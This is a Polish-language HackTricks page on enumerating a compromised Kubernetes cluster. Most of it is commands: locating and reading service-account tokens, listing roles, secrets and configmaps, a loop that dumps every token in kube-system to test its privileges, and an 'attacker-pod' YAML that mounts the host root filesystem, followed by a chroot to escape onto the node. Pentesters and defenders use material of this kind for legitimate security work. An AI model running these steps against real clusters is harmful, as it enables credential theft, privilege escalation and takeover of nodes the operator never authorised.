Kubernetes Enumeration

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Tokeny Kubernetes

Jeśli masz skompromitowany dostęp do maszyny, użytkownik może mieć dostęp do pewnej platformy Kubernetes. Token zwykle znajduje się w pliku wskazywanym przez zmienną środowiskową KUBECONFIG lub wewnątrz ~/.kube.

W tej folderze możesz znaleźć pliki konfiguracyjne z tokenami i konfiguracjami do połączenia z serwerem API. W tej folderze możesz również znaleźć folder cache z wcześniej pobranymi informacjami.

Jeśli masz skompromitowany pod w środowisku Kubernetes, istnieją inne miejsca, gdzie można znaleźć tokeny i informacje o bieżącym środowisku K8:

Tokeny konta usługi

Zanim przejdziesz dalej, jeśli nie wiesz, czym jest usługa w Kubernetes, sugeruję, abyś kliknął ten link i przeczytał przynajmniej informacje na temat architektury Kubernetes.

Zaczerpnięte z dokumentacji Kubernetes:

„Podczas tworzenia poda, jeśli nie określisz konta usługi, automatycznie przypisane jest domyślne konto usługi w tej samej przestrzeni nazw.”

ServiceAccount to obiekt zarządzany przez Kubernetes i używany do dostarczania tożsamości dla procesów uruchamianych w podzie. Każde konto usługi ma związany z nim sekret, a ten sekret zawiera token nosiciela. Jest to token JSON Web Token (JWT), metoda reprezentowania roszczeń w sposób bezpieczny między dwiema stronami.

Zazwyczaj jeden z katalogów:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

zawierają pliki:

  • ca.crt: To jest certyfikat CA do sprawdzania komunikacji Kubernetes

  • namespace: Wskazuje bieżącą przestrzeń nazw

  • token: Zawiera token usługi bieżącego poda.

Teraz, gdy masz token, możesz znaleźć serwer API w zmiennej środowiskowej KUBECONFIG. Aby uzyskać więcej informacji, uruchom (env | set) | grep -i "kuber|kube"

Token konta usługi jest podpisywany przez klucz znajdujący się w pliku sa.key i sprawdzany przez sa.pub.

Domyślna lokalizacja w Kubernetes:

  • /etc/kubernetes/pki

Domyślna lokalizacja w Minikube:

  • /var/lib/localkube/certs

Gorące pod

Gorące pod to pod zawierający uprzywilejowany token konta usługi. Uprzywilejowany token konta usługi to token, który ma uprawnienia do wykonywania uprzywilejowanych zadań, takich jak wyświetlanie sekretów, tworzenie podów itp.

RBAC

Jeśli nie wiesz, czym jest RBAC, przeczytaj tę sekcję.

Przegląd wyliczania

Aby wyliczyć środowisko K8s, potrzebujesz kilku rzeczy:

  • Poprawny token uwierzytelniający. W poprzedniej sekcji zobaczyliśmy, gdzie szukać tokenu użytkownika i tokenu konta usługi.

  • Adres (https://host:port) API Kubernetes. Zazwyczaj można go znaleźć w zmiennych środowiskowych i/lub w pliku konfiguracyjnym kube.

  • Opcjonalnie: ca.crt do weryfikacji serwera API. Można go znaleźć w tych samych miejscach, w których można znaleźć token. Jest to przydatne do weryfikacji certyfikatu serwera API, ale używając --insecure-skip-tls-verify z kubectl lub -k z curl, nie będziesz potrzebować tego.

Z tymi szczegółami możesz wyliczać Kubernetes. Jeśli API z jakiegoś powodu jest dostępne przez Internet, możesz po prostu pobrać te informacje i wyliczać platformę z własnego hosta.

Jednak zwykle serwer API znajduje się w sieci wewnętrznej, dlatego będziesz musiał utworzyć tunel przez skompromitowaną maszynę, aby uzyskać do niego dostęp z własnej maszyny, lub możesz przesłać binarny plik kubectl, lub użyć curl/wget/cokolwiek do wykonywania surowych żądań HTTP do serwera API.

Różnice między czasownikami list a get

Z uprawnieniami get możesz uzyskać dostęp do informacji o konkretnych zasobach (opcja describe w kubectl_) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Jeśli masz uprawnienie list, możesz wykonywać żądania API w celu wylistowania danego typu zasobu (opcja get w poleceniu kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Jeśli masz uprawnienie watch, możesz wykonywać żądania API w celu monitorowania zasobów:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Otwierają połączenie strumieniowe, które zwraca pełny manifest Deployment za każdym razem, gdy się zmienia (lub gdy tworzony jest nowy).

Następujące polecenia kubectl wskazują tylko, jak wyświetlić obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć describe zamiast get.

Używając curl

Z wnętrza poda można użyć kilku zmiennych środowiskowych:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Domyślnie pod może uzyskać dostęp do serwera kube-api pod adresem domeny kubernetes.default.svc, a sieć kube można zobaczyć w /etc/resolv.config, gdzie znajduje się adres serwera DNS Kubernetes (".1" z tego samego zakresu to punkt końcowy kube-api).

Używając kubectl

Mając token i adres serwera API, możesz go uzyskać za pomocą kubectl lub curl, jak wskazano tutaj:

Domyślnie, APISERVER komunikuje się za pomocą schematu https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

jeśli brak https:// w adresie URL, możesz otrzymać błąd typu Bad Request.

Możesz znaleźć oficjalny arkusz oszustw kubectl tutaj. Celem poniższych sekcji jest przedstawienie w uporządkowany sposób różnych opcji do wyliczenia i zrozumienia nowego K8s, do którego uzyskałeś dostęp.

Aby znaleźć żądanie HTTP, które wysyła kubectl, możesz użyć parametru -v=8.

MitM kubectl - Proxyfikacja kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Aktualna konfiguracja

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Jeśli udało Ci się ukraść dane uwierzytelniające użytkowników, możesz skonfigurować je lokalnie używając czegoś takiego jak:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Pobierz obsługiwane zasoby

Dzięki tym informacjom będziesz wiedział, jakie usługi możesz wymienić

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Uzyskaj bieżące uprawnienia

Uruchom polecenie kubectl auth can-i '*' '*' aby sprawdzić, czy masz uprawnienia do wykonania dowolnej operacji na dowolnym zasobie w klastrze Kubernetes. Jeśli otrzymasz odpowiedź yes, oznacza to, że masz pełne uprawnienia. W przeciwnym razie, otrzymasz odpowiedź no lub unknown, co oznacza, że nie masz pełnych uprawnień.

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Inny sposób na sprawdzenie swoich uprawnień to użycie narzędzia: https://github.com/corneliusweig/rakkess****

Więcej informacji na temat Kubernetes RBAC można znaleźć w:

pageKubernetes Role-Based Access Control(RBAC)

Gdy już wiesz, jakie masz uprawnienia, sprawdź następującą stronę, aby dowiedzieć się, czy można je wykorzystać do eskalacji uprawnień:

pageAbusing Roles/ClusterRoles in Kubernetes

Uzyskaj inne role

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Uzyskaj przestrzenie nazw

Kubernetes obsługuje wiele wirtualnych klastrów opartych na tym samym fizycznym klastrze. Te wirtualne klastry nazywane są przestrzeniami nazw.

k get namespaces

Jeśli możesz odczytać tajemnice, możesz użyć poniższych linii, aby uzyskać uprawnienia związane z każdym tokenem:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Pobierz konta usług

Jak omówiono na początku tej strony, podczas uruchamiania poda zwykle przypisywane jest konto usługi. Dlatego też, wylistowanie kont usług, ich uprawnień i miejsca, w którym są uruchamiane, może umożliwić użytkownikowi eskalację uprawnień.

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Pobierz wdrożenia

Wdrożenia określają komponenty, które muszą być uruchomione.

.k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Pobierz Pods

Pods to rzeczywiste kontenery, które zostaną uruchomione.

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Uzyskaj usługi

Usługi Kubernetes są używane do udostępniania usługi na określonym porcie i adresie IP (które będą działać jako równoważnik obciążenia dla podów, które faktycznie oferują usługę). Jest to interesujące, aby wiedzieć, gdzie można znaleźć inne usługi, które można próbować zaatakować.

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Pobierz węzły

Pobierz wszystkie węzły skonfigurowane wewnątrz klastra.

k get nodes

Uzyskaj DaemonSets

DaeamonSets pozwala upewnić się, że konkretny pod działa na wszystkich węzłach klastra (lub na wybranych). Jeśli usuniesz DaemonSet, zarządzane przez niego pody również zostaną usunięte.

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Uzyskaj cronjob

Cron joby pozwalają na zaplanowanie uruchomienia poda, który wykona określone działanie, korzystając z składni crontab.

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Uzyskaj configMap

configMap zawsze zawiera wiele informacji i plików konfiguracyjnych, które są dostarczane aplikacjom uruchamianym w klastrze Kubernetes. Zazwyczaj można znaleźć wiele haseł, sekretów i tokenów, które są używane do łączenia i uwierzytelniania w innych usługach wewnętrznych/zewnętrznych.

k get configmaps # -n namespace
k get all

Uzyskaj dane o zużyciu zasobów przez Pods

k top pod --all-namespaces

Ucieczka z pojemnika

Jeśli masz możliwość tworzenia nowych pojemników, możesz spróbować uciec z nich do węzła. Aby to zrobić, musisz utworzyć nowy pojemnik za pomocą pliku yaml, przełączyć się na utworzony pojemnik, a następnie użyć polecenia chroot, aby wejść do systemu węzła. Możesz użyć istniejących już pojemników jako odniesienia dla pliku yaml, ponieważ wyświetlają istniejące obrazy i ścieżki.

kubectl get pod <name> [-n <namespace>] -o yaml

Jeśli potrzebujesz utworzyć pod na konkretnym węźle, możesz użyć poniższej komendy, aby uzyskać etykiety na węźle

k get nodes --show-labels

Zwykle, kubernetes.io/hostname i node-role.kubernetes.io/master są dobrymi etykietami do wyboru.

Następnie utwórz plik attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

oryginalne źródło yaml

Następnie tworzysz pod.

kubectl apply -f attacker.yaml [-n <namespace>]

Teraz możesz przełączyć się do utworzonego poda, postępując w następujący sposób:

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

I na koniec chrootujesz się do systemu węzła

chroot /root /bin/bash

Informacje uzyskane z: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Atakowanie i obrona Kubernetes: Bust-A-Kube – Odcinek 1

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated